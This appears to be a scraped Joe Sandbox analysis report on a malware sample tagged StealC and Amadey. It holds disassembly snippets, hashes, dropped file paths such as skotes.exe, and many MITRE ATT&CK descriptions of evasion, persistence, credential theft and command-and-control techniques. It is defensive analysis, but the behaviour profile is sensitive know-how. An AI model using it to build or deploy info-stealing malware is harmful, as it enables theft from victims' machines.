PostMessageW.USER32(00000000), ref: 00AF2373

Part of subcall function 00ACE97B: Sleep.KERNEL32 ref: 00ACE9F3

Strings

Shell_TrayWnd, xrefs: 00AF2365

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 83a54608c642b1e3d86d3230996297906502447ab68befc3765ad19e73149a57
Instruction ID: e7c80a2580e16f365276e5a5bba950ba2948f3faabdf1b4af796c8bc3bb5eab0
Opcode Fuzzy Hash: 83a54608c642b1e3d86d3230996297906502447ab68befc3765ad19e73149a57
Instruction Fuzzy Hash: 54D0C9723C5314BAE6A4E7B1AD0FFD6A6549B05B20F0149167645EA1E0C9B4A802CA54

Function 00A9BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00A9BE93
GetLastError.KERNEL32 ref: 00A9BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00A9BEFC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 66c80a94b78d57b977bc473369ddecdd3a4ce4a045317e431cc431cb65cfd059
Instruction ID: 0e7feb5051c034d7b7612c4d9ca63aea2465a9063dcf012a0aff7ef8d41c93ed
Opcode Fuzzy Hash: 66c80a94b78d57b977bc473369ddecdd3a4ce4a045317e431cc431cb65cfd059
Instruction Fuzzy Hash: 8A41A434720206AFCF21DFA5EE44ABABBE9AF41320F144159F959571A1DB308D01CB70

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe

C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe

C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre